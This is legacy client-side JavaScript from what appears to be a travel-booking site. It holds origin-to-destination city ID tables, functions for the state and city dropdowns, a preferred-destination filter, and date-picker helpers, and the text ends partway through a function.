cities_by_orig["2461"] = new Array('381','368','3531','464','1922','2681','363','3497','1785','2241','1821','3503','661','362','821','1783','370','2762','364','1162','1041','1166','842','481','2741','501','1661','3527','841','367','981','1281','1282','2922','2141','1061','365','861','2941','5181','1781','466','1784','371','663','372','2281','3498','3519','741','921','621','2421','761','361','366','541','662','901','465','462','463','461','3511','1801');
cities_by_orig["4341"] = new Array('381','1143','368','464','1922','2681','363','661','362','821','370','2762','364','1162','1041','1166','842','481','1170','501','1661','2441','841','367','1281','3449','1282','2922','2141','1061','365','861','2941','466','2621','371','3502','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','3423','2581','361','366','541','662','901','465','463','461','2527','2041');
cities_by_orig["466"] = new Array('381','641','1143','3584','2862','3558','3261','3548','368','2901','601','3201','3301','3583','482','3126','3223','3283','3590','3552','3589','3531','3532','2461','3410','464','1922','2681','363','3492','3497','1785','2241','661','362','821','3506','1783','370','2762','364','1162','1021','3467','1041','1166','3507','842','1172','481','1170','2764','2763','2741','501','4465','1661','2441','841','3508','367','1961','1167','1281','1282','2922','2141','4301','3411','1061','365','861','2941','3487','5181','1781','466','1784','2381','2621','371','663','372','2281','3519','741','921','621','2421','761','2721','401','3423','3452','1305','2581','361','366','541','662','1782','901','465','462','463','461','1801');
cities_by_orig["881"] = new Array('381','2862','3222','3558','368','3201','482','421','3531','3410','464','1922','2681','363','3497','1785','2241','1821','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','441','842','1172','481','3427','501','1661','3527','2441','841','367','981','1167','1281','3449','1282','2922','2141','1061','365','861','2941','3487','5181','1781','466','1784','2381','2621','371','3502','4361','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','2721','3423','2581','361','366','541','662','901','465','462','3496','463','461','2527','2041');
cities_by_orig["3493"] = new Array('381','368','464','1922','2681','363','2241','3503','661','362','821','1783','370','2762','364','1162','1021','1041','1166','842','481','501','1661','2441','841','367','981','1281','1282','2922','2141','1061','365','861','2941','1781','466','371','663','372','2281','4321','3498','741','921','621','2421','761','2721','3423','361','366','541','662','901','465','462','3496','463','461');
cities_by_orig["2441"] = new Array('381','641','1143','2862','3222','368','601','3201','3301','482','421','3531','3410','464','1922','2681','363','3497','1785','2241','1821','3503','661','362','821','3506','1783','370','2762','364','1162','2601','1021','3467','1041','1166','2841','3507','441','842','1172','481','3405','1170','2764','2763','3427','2741','501','1661','841','3508','367','981','1167','1281','3449','1282','2922','2141','1741','1061','365','861','2941','3487','5181','1781','2522','466','1784','2381','2621','371','3502','663','372','2281','3498','3181','741','921','2961','621','2421','761','2642','2721','401','3423','3452','1305','2581','361','366','541','662','901','465','462','3496','463','721','461','2041');
cities_by_orig["3414"] = new Array('381','2862','3222','368','482','3531','2461','3410','464','1922','2681','363','2241','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','842','1172','481','3427','2741','501','1661','3527','2441','841','367','981','1281','1282','2922','2141','1061','365','861','2941','5181','1781','466','1784','371','663','372','2281','3498','3519','741','921','621','2421','761','3423','361','366','541','662','901','465','462','3496','463','461','3511','2527','2041');
cities_by_orig["2501"] = new Array('381','1143','2862','3222','3558','368','3201','3301','482','421','3531','3410','464','1922','2681','363','3497','1785','2241','1821','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','3507','441','842','1172','481','3427','2741','501','1661','2441','841','367','981','1167','1281','3449','1282','2922','2141','1061','365','861','2941','3487','5181','1781','466','1784','2381','2621','371','3502','4361','3401','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','2721','3423','1305','2581','361','366','541','662','901','465','462','3496','463','721','461','3511','2527','2041');
cities_by_orig["4361"] = new Array('381','641','1143','701','2862','368','3201','3301','482','421','3531','3410','464','1922','2681','363','3497','2241','661','362','821','1783','370','2762','364','1162','2601','1021','3467','1041','1166','3507','842','1172','481','1170','2764','3427','501','1661','2441','841','367','981','1167','1281','3449','1282','2922','2141','1061','365','861','2941','5181','1781','2522','466','371','663','372','2281','4321','3498','3519','741','921','621','2421','761','2642','2721','401','3423','3452','1305','2581','361','366','541','662','1782','901','465','462','3496','463','461','2527','2041');
cities_by_orig["481"] = new Array('381','641','3542','1143','3565','701','369','3584','2862','3222','3123','1001','3558','3261','3548','3061','368','2901','1163','601','3201','3127','3301','3583','482','2881','3126','3223','3283','2981','421','3590','3552','3589','3555','681','3241','581','3531','3532','3410','3463','464','1922','2681','4883','363','3497','1785','2241','1821','3503','661','362','821','3506','1783','370','2762','364','1162','2601','1021','3467','1041','1166','2841','3507','441','842','1172','481','3405','1170','2764','2763','3418','3427','2741','3464','501','4465','1661','3527','2501','2441','881','841','3508','367','981','1961','1167','1281','3449','1282','2922','3512','2141','4301','1081','3411','1741','1061','365','861','3529','2941','3487','5181','1781','2522','466','1784','2381','2621','371','3502','4361','3401','663','372','2281','4321','3516','3498','3519','3181','741','921','2961','621','2421','761','2721','401','3423','3452','1305','2581','361','366','541','2061','662','1782','901','465','462','3496','463','4221','721','461','3511','3451','2527','2041','1801');
cities_by_orig["3497"] = new Array('381','3565','2862','3222','3123','368','601','3126','421','3410','464','1922','2681','363','2241','1821','661','821','1783','370','2762','364','1162','1021','1041','1166','2841','842','1172','481','2764','3427','501','1661','2441','881','841','3508','367','981','1281','3449','1282','2922','2141','1061','365','861','2941','5181','1781','466','2621','371','663','372','2281','3498','3519','741','921','621','2421','761','401','3423','3452','2581','361','366','541','662','901','465','462','3496','463','461','1801');
cities_by_orig["2522"] = new Array('381','1143','701','2862','3558','368','482','2881','421','581','3410','464','1922','363','2241','661','362','821','370','2762','364','1162','2601','1021','1041','1166','842','1172','481','501','1661','2441','841','367','981','1281','1282','2922','2141','1061','365','861','2941','5181','466','2381','2621','371','3502','4361','663','372','2281','4321','921','621','2421','3423','361','366','541','662','901','465','462','3496','463','461','2041');
cities_by_orig["3418"] = new Array('381','1143','2862','3222','3558','368','3301','482','421','3531','3410','464','1922','2681','363','3497','1785','2241','1821','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','441','842','1172','481','2741','501','1661','3527','2441','841','367','981','1167','1281','3449','1282','2922','2141','1741','1061','365','861','2941','3487','5181','1781','466','1784','2381','2621','371','3502','4361','3401','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','2721','3423','2581','361','366','541','662','901','465','462','3496','463','721','461','3511','2527','2041','1801');
cities_by_orig["2527"] = new Array('381','368','421','3410','464','1922','2681','363','2241','1821','3503','661','362','821','1783','370','2762','364','1162','1021','1041','1166','842','1172','481','501','1661','2441','841','367','981','1167','1281','3449','1282','2922','2141','3411','1741','1061','365','861','2941','3487','5181','1781','466','1784','2381','2621','371','3502','663','372','2281','3498','3519','3181','741','921','621','2421','761','2721','401','3423','3452','1305','2581','361','366','541','662','1782','901','465','462','3496','463','721','461');
cities_by_orig["4465"] = new Array('381','2862','3558','368','3301','482','421','3531','3410','464','1922','2681','363','3497','1785','2241','1821','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','441','842','1172','481','3427','2741','501','1661','2441','841','367','981','1167','1281','3449','1282','2922','2141','4301','1741','1061','365','861','2941','3487','5181','1781','466','1784','2381','2621','371','3502','4361','3401','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','2721','3423','2581','361','366','541','662','901','465','462','3496','463','721','461','3511','2527','2041');
cities_by_orig["1021"] = new Array('381','641','1143','3565','2862','3123','3261','368','3201','3301','3583','482','2881','3126','3223','421','681','3531','3410','464','1922','2681','363','1785','2241','1821','3503','661','362','821','1783','370','2762','364','1162','2601','3467','1041','1166','842','481','2764','2763','3427','2741','501','4465','1661','2501','2441','841','3508','367','981','1167','1281','3449','1282','2922','2141','4301','3411','1741','1061','365','861','3529','2941','3487','5181','1781','2522','466','1784','2381','2621','371','3502','4361','3401','663','372','2281','4321','3516','3498','3519','3181','741','921','2961','621','2421','761','2642','2721','401','3423','3452','1305','2581','361','366','541','662','1782','901','465','462','3496','463','721','461','2527','2041','1801');
cities_by_orig["3498"] = new Array('381','1143','3565','2862','3222','3123','368','2901','3301','3126','421','3531','3532','2461','3410','464','1922','2681','363','3497','2241','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','2841','441','842','1172','481','3405','1170','2764','2741','501','1661','2501','2441','841','3508','367','981','1961','1281','3449','1282','2922','2141','4301','1741','1061','365','861','3529','2941','3487','5181','1781','466','1784','2381','2621','371','4361','663','372','2281','3181','741','921','2961','621','2421','761','401','3423','3452','2581','361','366','541','662','1782','901','465','462','3496','463','461','2041','1801');
cities_by_orig["2621"] = new Array('381','641','1143','701','2862','3558','3261','368','3201','3301','482','421','3531','3410','464','1922','2681','363','2241','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','2841','3507','441','842','1172','481','1170','3427','501','4465','1661','3527','2441','841','367','981','1281','3449','1282','2922','2141','1081','1741','1061','365','861','2941','3487','5181','1781','2522','466','1784','371','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','2642','2721','401','3423','3452','1305','2581','361','366','541','662','1782','901','465','462','3496','463','461','3451','2527','2041');
cities_by_orig["3420"] = new Array('381','1143','368','464','1922','2681','363','661','362','821','370','2762','364','1162','1021','1041','1166','842','1172','481','501','1661','841','367','981','1167','1281','1282','2922','2141','1061','365','861','466','371','663','372','2281','741','921','621','2421','761','3423','361','366','541','662','901','465','3496','463','461');
states["intl"] = { name: 'International',  cities: ['3571','381','3221','641','3542','1143','3565','701','369','3584','3531','2862','3222','3123','1001','3532','3558','3261','3548','3061','2522','368','2901','1163','4521','601','3201','3127','761','3301','3181','3583','482','2881','3126','3223','2642','3283','2981','421','3575','3590','3552','3589','3641','3555','681','741','3241','2681','581'] };
states["canada"] = { name: 'Canada',  cities: ['3531','3532','2681','2522','3181','741','761','2642'] };
states["AK"] = { name: 'Alaska',  cities: ['2461'] };
states["AL"] = { name: 'Alabama',  cities: ['3410','3463'] };
states["AZ"] = { name: 'Arizona',  cities: ['464','1922'] };
states["CA"] = { name: 'California',  cities: ['4883','363','3492','3497','1785','2241','1821','3503','661','362','821','3505','3506'] };
states["CO"] = { name: 'Colorado',  cities: ['1783','370'] };
states["CT"] = { name: 'Connecticut',  cities: ['2762'] };
states["DC"] = { name: 'Washington D.C.',  cities: ['364'] };
states["FL"] = { name: 'Florida',  cities: ['1162','2601','1021','3467','1041','1166','2841','3507','441','842','1172'] };
states["GA"] = { name: 'Georgia',  cities: ['481','3405','1170'] };
states["HI"] = { name: 'Hawaii',  cities: ['2764','2763'] };
states["IA"] = { name: 'Iowa',  cities: ['3418','3427'] };
states["ID"] = { name: 'Idaho',  cities: ['2741','3464'] };
states["IL"] = { name: 'Illinois',  cities: ['501','4465'] };
states["IN"] = { name: 'Indiana',  cities: ['1661'] };
states["KS"] = { name: 'Kansas',  cities: ['3527'] };
states["KY"] = { name: 'Kentucky',  cities: ['2501','2441'] };
states["LA"] = { name: 'Louisiana',  cities: ['881','841','3508'] };
states["MA"] = { name: 'Massachusetts',  cities: ['367'] };
states["MD"] = { name: 'Maryland',  cities: ['981'] };
states["ME"] = { name: 'Maine',  cities: ['1961','1167'] };
states["MI"] = { name: 'Michigan',  cities: ['1281','3449'] };
states["MN"] = { name: 'Minnesota',  cities: ['1282'] };
states["MO"] = { name: 'Missouri',  cities: ['2922','3512','2141'] };
states["MS"] = { name: 'Mississippi',  cities: ['4301','1081'] };
states["MT"] = { name: 'Montana',  cities: ['3411','1741'] };
states["NC"] = { name: 'North Carolina',  cities: ['1061','365','861','3529'] };
states["NE"] = { name: 'Nebraska',  cities: ['2941'] };
states["NH"] = { name: 'New Hampshire',  cities: ['3487'] };
states["NJ"] = { name: 'New Jersey',  cities: ['5181'] };
states["NM"] = { name: 'New Mexico',  cities: ['1781'] };
states["NV"] = { name: 'Nevada',  cities: ['466','1784'] };
states["NY"] = { name: 'New York',  cities: ['2381','2621','371','3502','4361'] };
states["OH"] = { name: 'Ohio',  cities: ['3401','663','372','2281','4321','3516'] };
states["OK"] = { name: 'Oklahoma',  cities: ['3498','3519'] };
states["OR"] = { name: 'Oregon',  cities: ['921'] };
states["PA"] = { name: 'Pennsylvania',  cities: ['2961','621','2421'] };
states["RI"] = { name: 'Rhode Island',  cities: ['2721'] };
states["SC"] = { name: 'South Carolina',  cities: ['401','3423','3452','1305'] };
states["TN"] = { name: 'Tennessee',  cities: ['2581','361','366'] };
states["TX"] = { name: 'Texas',  cities: ['541','2061','662','1782','901','465'] };
states["UT"] = { name: 'Utah',  cities: ['462'] };
states["VA"] = { name: 'Virginia',  cities: ['3496','463','4221'] };
states["VT"] = { name: 'Vermont',  cities: ['721'] };
states["WA"] = { name: 'Washington',  cities: ['461','3511'] };
states["WI"] = { name: 'Wisconsin',  cities: ['3451','2527','2041'] };
states["WY"] = { name: 'Wyoming',  cities: ['1801'] };

function array_intersect(x, y) {
	var ret = new Array();
	for (var j = 0; j < x.length; j++) {
		for (var i = 0; i < y.length; i++) {
			if (x[j] == y[i])
				ret.push(x[j]);
		}
	}
	return ret;
}

function do_array_intersect(a, b) {
	if (a.length < b.length) {
		return array_intersect(a, b);
	} else {
		return array_intersect(b, a);
	}
}

function init_destinations(o_key) {
	var state       = document.dest.in_destform_state;
	var state_codes = states_by_orig[o_key];
	var i, j;

	state.options[0] = new Option('Choose a state or region', 'all');
	for (i = 1, j = 0; j < state_codes.length; i++, j++) {
		var s = state_codes[j];
		state.options[i] = new Option(states[s].name, s);
	}
}

function init_originations() {
	var orig = document.dest.in_origination_key;
	var i = 0;
	for (o in originations) {
		orig.options[i] = new Option(originations[o], o);
		i++;
	}
	var idx = 0;
	i = 0;
	for (k in originations) {
		if (k == 371)
			break;
		i++;
	}
	orig.selectedIndex = i;
	init_destinations(371);
}

function change_state() {
	var orig = document.dest.in_origination_key;
	var state = document.dest.in_destform_state;
	var city = document.dest.in_location_key;

	var this_orig  = orig.options[orig.selectedIndex].value;
	var this_state = state.options[state.selectedIndex].value;
	var cities = do_array_intersect(cities_by_orig[this_orig],
			states[this_state].cities);
	var i, j;

	city.options.length = 0;
	city.options[0] = new Option('Choose a city', 'all');
	city.options[1] = new Option('Show all cities', 'all');
	for (i = 2, j = 0; j < cities.length; i++, j++) {
		k = cities[j];
		city.options[i] = new Option(destinations[k], k);
	}
}


/*
 * takes document.dest.in_origination_key.selectedIndex as arg
 */
function change_origination(o_idx) {
	var state = document.dest.in_destform_state;
	var city = document.dest.in_location_key;
	var o_key = document.dest.in_origination_key.options[o_idx].value;
	var state_codes = states_by_orig[o_key];
	var i, j;

	state.options.length = 0;
	state.options[0] = new Option('Choose a state or region', 'all');
	for (i = 1, j = 0; j < state_codes.length; i++, j++) {
		var s = state_codes[j];
		state.options[i] = new Option(states[s].name, s);
	}
	city.options.length = 0;
	city.options[0] = new Option('Choose a city', 'all');
	city.options[1] = new Option('Show all cities', 'all');
}






// BEGIN WCT LMD JS
// $Id: JSProcessor.pm,v 1.15 2004/05/27 13:31:35 stephens Exp $

function do_array_intersect(a, b) {
        if ( ! (a && b) ) {
                return new Array();
        }

        if (a.length < b.length) {
                return array_intersect(a, b);
        } else {
                return array_intersect(b, a);
        }
}


function wct_lmd_Array_indexOf(a, x)
{
  for ( var i = 0; i < a.length; ++ i ) {
    if ( a[i] == x ) return i;
  }
  return -1;
}


var _wct_lmd_in_origination_key;
var _wct_lmd_preferred_dests;
var _wct_lmd_no_preferred_dests;


function wct_lmd_prefer_dests(preferred_dests)
{
  var n, nt, diff;

  _wct_lmd_preferred_dests = preferred_dests;

  // Filter destinations.
  var new_destinations = new Object();
  n = nt = diff = 0;
  for ( de in destinations ) {
    ++ nt;
    if ( wct_lmd_Array_indexOf(preferred_dests, de) >= 0 ) {
      new_destinations[de] = destinations[de];
      ++ n;
    }
  }
  // alert("Scanned " + nt + ": Kept " + n + " destinations");

  // Filter out cities_by_orig
  var new_cities_by_orig = new Object();
  n = nt = diff = 0;
  for ( orig in originations ) {
    ++ nt;
    var orig_c = cities_by_orig[orig];
    orig_c = do_array_intersect(orig_c, preferred_dests);

    // diff += orig_c.length - cities_by_orig[orig].length;

    // If the orig has no dests that match...
    if ( orig_c.length ) {
      new_cities_by_orig[orig] = orig_c;
      ++ n;
    }
  }
  // alert("Scanned " + nt + ": Kept " + n + " cities_by_orig");
 
  // Filter states_by_orig.
  var new_states_by_orig = new Object();
  n = nt = diff = 0;
  for ( orig in states_by_orig ) {
    ++ nt;
    // Get the filtered destinations for the orig,
    // Use this list to filter the states_by_orig.
    var orig_c = new_cities_by_orig[orig];

    var old_orig_state = states_by_orig[orig];
    var orig_s = new Array();

    // Loop through the orig's states.
    for ( var i = 0; i < old_orig_state.length; ++ i ) {
      var state_code = old_orig_state[i];
      var state_cities = states[state_code].cities;
      state_cities = do_array_intersect(state_cities, orig_c);

      // defaultStatus = ("Orig " + orig + ": state " + state_code + " before: " + states[state_code].cities.length + " after: " + state_cities.length);
      if ( state_cities.length > 0 ) {
        // The state has at least one dest we are interested in.
        orig_s.push(state_code);
      } else {
        // The state has no matching dest cities anymore.
	// defaultStatus = ("Orig " + orig + ": deleted state " + state_code);
      }
    }

    // diff += orig_s.length - states_by_orig[orig].length;
    if ( orig_s.length ) {
      new_states_by_orig[orig] = orig_s;
      ++ n;
    }
  }
  // alert("Scanned " + nt + ": Kept " + n + " states_by_orig");

  // Filter out originations that have no
  // destinations.
  n = nt = diff = 0;
  var new_originations = new Object();
  for ( orig in originations ) {
    ++ nt;
    var orig_c = new_cities_by_orig[orig];

    if ( orig_c && orig_c.length ) {
      new_originations[orig] = originations[orig];
      ++ n;
    }
  }
  // alert("Scanned " + nt + ": Kept " + n + " originations[]");

  
  // If there is at least one matching, orignation
  // use the filtered data.
  if ( (_wct_lmd_no_preferred_dests = n > 0) ) {
    originations   = new_originations;
    destinations   = new_destinations;
    cities_by_orig = new_cities_by_orig;
    states_by_orig = new_states_by_orig;
  }
}


function wct_lmd_update_state(state_codes)
{
  var state = document.dest.in_destform_state;
  var i, j;

  if ( state != null ) {
    state.options.length = i = 0;
    if ( state_codes.length > 1 || ! _wct_lmd_preferred_dests ) {
      state.options[i ++] = new Option('Choose a state or region', 'all');
    }

    for ( j = 0; j < state_codes.length; j++ ) {
      var s = state_codes[j]; 
      state.options[i ++] = new Option(states[s].name, s);
    }

    // Default if only one state matches.
    if ( state_codes.length == 1 ) {
      state.selectedIndex = i - 1;
      wct_lmd_update_city(state_codes[0]);
    } else {
      wct_lmd_update_city();
    }
  }
}


function wct_lmd_update_city(this_state)
{
  var city = document.dest.in_location_key;
  var cities;
  var i, j;

  if ( this_state ) {
    var orig = document.dest.in_origination_key;
    var this_orig  = orig.options[orig.selectedIndex].value;
    cities = do_array_intersect(cities_by_orig[this_orig],
                                        states[this_state].cities);
  } else {
    cities = new Array();
  }

  city.options.length = i = 0;
  if ( (! _wct_lmd_preferred_dests) || cities.length > 1 ) {
    city.options[i ++] = new Option('Choose a city', 'all');
  }
  if ( (! _wct_lmd_preferred_dests) || cities.length == 0 ) {
    city.options[i ++] = new Option('Show all cities', 'all');
  }

  for (j = 0; j < cities.length; j++) {
    var k = cities[j];
    city.options[i ++] = new Option(destinations[k], k);
  }

  // Default if only one city matches.
  if ( cities.length == 1 ) {
    city.selectedIndex = i - 1;
  }
}


function init_destinations(o_key) {
  var state_codes = states_by_orig[o_key];
  wct_lmd_update_state(state_codes);
}



function change_state() {
  var orig = document.dest.in_origination_key;
  var state = document.dest.in_destform_state;

  var this_orig  = orig.options[orig.selectedIndex].value;
  var this_state = state.options[state.selectedIndex].value;

  wct_lmd_update_city(this_state);
}


/* 
 * takes document.dest.in_origination_key.selectedIndex as arg
 */
function change_origination(o_idx) {
  var state = document.dest.in_destform_state;
  var o_key = document.dest.in_origination_key.options[o_idx].value;
  var state_codes = states_by_orig[o_key];

  _wct_lmd_in_origination_key = o_key;

  wct_lmd_update_state(state_codes);
}


function init_originations() {
  var orig = document.dest.in_origination_key;
  var i = 0;
  var o_key = wct_lmd_in_origination_key();

  for ( o in originations ) {
    orig.options[i] = new Option(originations[o], o); 
    if ( o == o_key ) {
      orig.selectedIndex = i;
    }
    i++;
  }

  init_destinations(o_key);
}


function wct_lmd_in_origination_key() {
  if ( ! _wct_lmd_in_origination_key ) {
    if ( document.dest != null ) {
      // Try getting it from the Select widget?
      var orig = document.dest.in_origination_key;
      if ( orig.selectedIndex >= 0 ) {
        _wct_lmd_in_origination_key = orig.options[orig.selectIndex].value;
      }
    }
  }

  if ( ! _wct_lmd_in_origination_key ) {
    // Try getting it from the document URL?
    _wct_lmd_in_origination_key = document.location.href.match(/[?;&]in_origination_key=(\d+)/);
    _wct_lmd_in_origination_key = _wct_lmd_in_origination_key != null 
      ? _wct_lmd_in_origination_key[1] : 371; // "371" is magic for NYC.
  }

  return _wct_lmd_in_origination_key;
}


function wct_lmd_in_origination_key_changed()
{
  var p = document.location.href;
  var f = document.dest.in_origination_key;
  var v = f[f.selectedIndex].value;
  var r;

  if (p.indexOf('in_origination_key') >= 0) {
    r = p.replace(/in_origination_key=\d+/, 
		  'in_origination_key=' + v);
  }
  else if (p.indexOf('?') >= 0) {
    r = p + '&in_origination_key=' + v;
  }
  else {
    r = p + '?in_origination_key=' + v;
  }

  document.location = r;
}


// END WCT LMD JS





////////////////////////////////////////
  var bLEAVING           = false;
  var bRETURNING         = true;
  
  // initialize JavaScript variable from action form
  var dateLeavingMonth   = '';
  var dateLeavingDate    = '';
  var dateReturningMonth = '';
  var dateReturningDate  = '';
  var date;

  // if date fields not initialized, then initialize to today's date + 21 days and today + 24 days
  if ((dateLeavingMonth   == "") || (dateLeavingDate   == ""))
  {
    date = new Date ( );
    date = new Date (date.getTime( ) + 21*24*60*60*1000);  // add 21 days
    dateLeavingMonth   = date.getMonth ( ) + 1;
    dateLeavingDate    = date.getDate  ( );
  }
  if ((dateReturningMonth == "") || (dateReturningDate == ""))
  {
    date = new Date ( );
    date = new Date (date.getTime( ) + 24*24*60*60*1000);  // add 24 days
    dateReturningMonth = date.getMonth ( ) + 1;
    dateReturningDate  = date.getDate  ( );
  }

  function initDaysInMonth (form, bReturningLeaving)
  {
    var current = new Date ();
    var curDay = current.getDate();
    var month = current.getMonth() + 1;
    var year    = current.getYear ();
    var days;
    var options;
    var depMonth = parseInt( form.elements["dateLeavingMonth"].value );
    var depDate = parseInt( form.elements["dateLeavingDay"].value );
    var depYear;
    var retMonth = parseInt( form.elements["dateReturningMonth"].value );
    var retDate = parseInt( form.elements["dateReturningDay"].value );
    var retYear;

	depYear = year;
	retYear = year;
    if (bReturningLeaving == bLEAVING)
    {
      days    = getDaysInMonth (depMonth, depYear);
      options = form.elements["dateLeavingDay"].options;
      initDaysArray (days, options);
    }
    else
    {
      days    = getDaysInMonth (retMonth, retYear);
      options = form.elements["dateReturningDay"].options;
      initDaysArray (days, options);
    }
    glbDepartureYear = depYear;
    glbArrivalYear = retYear;
    return (days);
  }


  function updateDaysInMonth (form, bReturningLeaving)
  {
    var days;
    var date;

    if (bReturningLeaving == bLEAVING)
    {
      dateLeavingMonth   = form.elements["dateLeavingMonth"]  .value;
      date               = form.elements["dateLeavingDay"]    .value;
    }
    else
    {
      dateReturningMonth = form.elements["dateReturningMonth"].value;
      date               = form.elements["dateReturningDay"]  .value;
    }

    days = initDaysInMonth (form, bReturningLeaving);

    if (date > days)
    {
      date = days;
    }
    if (bReturningLeaving == bLEAVING)
    {
      form.elements["dateLeavingDay"].value = date;
    }
    else
    {
      form.elements["dateReturningDay"].value = date;
    }
  }

  // initialize an option object array to hold the days for a select drop down
  function initDaysArray (days, options)
  {
    var ndx = 0;

    for (ndx = 0; ndx < days; ndx++)
      options[ndx] = new Option ( "" + (ndx + 1),  "" + (ndx + 1));
    options.length = days;
  }

  function getDaysInMonth (month, year)
  {
    var days = 31;

    if ((month == 4) || (month == 6) || (month == 9) || (month == 11))
      days = 30;
    if (month == 2)
    {
      days    = 28;
      if ((year % 4) == 0)
        days = 29;
    }

    return (days);
  }

winCal        = null;
winCal_closed = false;
xPos=0;
yPos=0;
 currTopMonIdx = 0;
 firstMon = 0;
 firstYear = 0;
 pickupMon = 0;
 currMidMonIdx = 0;    
 currBtmMonIdx = 0;
var daysInMonth = new Array(12);

function randomNum(number)
{
  rnd.today=new Date();
  rnd.seed=rnd.today.getTime();
  return Math.ceil(rnd()*number);
}

function rnd() {
  rnd.seed = (rnd.seed*9301+49297) % 233280;
  return rnd.seed/(233280.0);
};

function dateBoxes(name1,name2,dateType,yPosAdj, formname)
{
  this.box1Name      = name1;       // month
  this.box2Name      = name2;       // dayOfMonth
  this.boxesDateType = dateType;    // "CP" for pickup date or "CD" dropoff date
  this.boxesyPosAdj  = yPosAdj;
  this.formName      = formname;
} // end dateBoxes

function getMousePos(capEvent)
{
  if (document.layers) {
    xPos=this.screenX + 170
    yPos=capEvent.screenY - 115
  }
  else if (window.event) {
    xPos=this.screenLeft + 165
    yPos=window.event.clientY - 5
  }
  else {
    xPos=0
    yPos=0
  }
} // end getMousePos(capEvent)

function initVariables(selObj)
{
   var d = new Date();
   firstMon = d.getMonth() + 1;
   firstYear = d.getFullYear();
   pickupMon = selObj.options[selObj.selectedIndex].value;
   var temp =0;
   currTopMonIdx = 0;

    
   if ( pickupMon >= firstMon )
   {
     currTopMonIdx = ( pickupMon - firstMon );
   }
   else
   {
     currTopMonIdx = ( 12 + pickupMon ) - firstMon;
   }
 
   currTopMonIdx = parseInt(currTopMonIdx, 36);
   if (currTopMonIdx > 9)
   {
     currTopMonIdx = 9;
   }
   currMidMonIdx = currTopMonIdx + 1;
   currBtmMonIdx = currTopMonIdx + 2;

   daysInMonth[1]  = 31;
   daysInMonth[2]  = 28 + (isLeapYear(firstMon, firstYear)? 1 : 0);
   daysInMonth[3]  = 31;
   daysInMonth[4]  = 30;
   daysInMonth[5]  = 31;
   daysInMonth[6]  = 30;
   daysInMonth[7]  = 31;
   daysInMonth[8]  = 31;
   daysInMonth[9]  = 30;
   daysInMonth[10] = 31;
   daysInMonth[11] = 30;
   daysInMonth[12] = 31;
}

function isLeapYear(firstMon, firstYear)
{
  if ( (firstYear % 400) == 0)
  {
    return 1;
  }
  if (( (firstYear % 4) == 0 ) && ( (firstYear % 100) != 0) )
  {
    return 1;
  }
  return 0;
}

function selectDate(gridNum,monIdx)
{
  with(winCal.loadMonthImg[monIdx]) {
    var dateSelected = gridNum - firstDayGridNum;
    if(dateSelected >= 1 && dateSelected <= daysInMonth[monNumber]) {
       var selectedForm = currBoxes.formName;
       with(getRightForm(currBoxes.box1Name, selectedForm)) {
        with(currBoxes) {
          elements[box1Name].selectedIndex = monNumber - 1;
          if(elements[box1Name].onchange) elements[box1Name].onchange();
          elements[box2Name].selectedIndex = dateSelected - 1;
          if(elements[box2Name].onchange) elements[box2Name].onchange();
          if (monIdx < 9) 
          {
            currTopMonIdx = monIdx;
          }
          else
          {
            currTopMonIdx = 9;
          }
          currMidMonIdx = currTopMonIdx + 1;
          currBtmMonIdx = currMidMonIdx + 1;
          winCal.close();
        }
      }
    }
  }
} // end selectDate(gridNum,monIdx)

function changeMonths(numMonths)
{
   with(this.document)
   {
      if((currTopMonIdx != 0 && numMonths == -1) || (currBtmMonIdx != 11 && numMonths == 1) || (numMonths != -1 && numMonths != 1))
      {
         with (winCal.document)
         {
            images["topMonDates"].src = winCal.loadMonthImg[currTopMonIdx + numMonths].datesImg.src;
            images["topMonName"].src = winCal.loadMonthImg[currTopMonIdx + numMonths].nameImg.src;
            images["midMonDates"].src = winCal.loadMonthImg[currMidMonIdx + numMonths].datesImg.src;
            images["midMonName"].src = winCal.loadMonthImg[currMidMonIdx + numMonths].nameImg.src;
            images["btmMonDates"].src = winCal.loadMonthImg[currBtmMonIdx + numMonths].datesImg.src;
            images["btmMonName"].src = winCal.loadMonthImg[currBtmMonIdx + numMonths].nameImg.src;
            currTopMonIdx += numMonths;
            currMidMonIdx += numMonths;
            currBtmMonIdx += numMonths;
            images["moreDown"].src = (currBtmMonIdx == 11) ? winCal.calDownOff.src : winCal.calDownOn.src;
            images["moreUp"].src = (currTopMonIdx == 0) ? winCal.calUpOff.src : winCal.calUpOn.src;
            winCal.focus();
         }
      }
   }
}

function getRightForm(objNameInForm, reqForm)
{
  var selectedForm = findRightForm( reqForm );
  if ( !selectedForm )
  {
    with(this.document) 
    {
      for(var i = 0; i < forms.length; i++) {
        with(forms[i]) {
          for(var j = 0; j < elements.length; j++) {
            if(elements[j].name == objNameInForm){
               return this.document.forms[i];
            }
          }
        }
      }
    }
  }
  return selectedForm;
} // end getRightForm(objNameInForm, reqForm)

function findRightForm(reqForm)
{
  if ( reqForm )
  {
   with(this.document)
   {
      for(var i = 0; i < forms.length; i++) 
      {
        if ( forms[i].name == reqForm )
        {
          return forms[i];
        }
      }
    }
  }
  return null;
} // end findRightForm(reqForm)

  
  function populateDays(objForm,monthField,dayField)
  {
    currentDate = new Date();
    selectedYear = currentDate.getYear();
    selectIndex = objForm[monthField].selectedIndex;
    timeA = new Date(selectedYear, selectIndex+1,1);
    selectedMonth = selectIndex;
    if (selectedMonth < currentDate.getMonth())
    {
      selectedYear++;
    }
    timeDifference = timeA - 86400000;
    timeB = new Date(timeDifference);
    var daysInMonth = timeB.getDate();
    for (var i = 0; i < objForm[dayField].length; i++)
    {
      objForm[dayField].options[0] = null;
    }
    for (var i = 0; i < daysInMonth; i++)
    {
      objForm[dayField].options[i] = new Option(i+1);
    }
    objForm[dayField].options[0].selected = true;
  }

  function addDays(strDate,iDays)
  {
    strDate = Date.parse(strDate);
    strDate = parseInt(strDate, 10);
    strDate = strDate + iDays*(24*60*60*1000);
    strDate = new Date(strDate);

    return strDate;
  }

  function showHideDive(divMoreAmenities)
  {
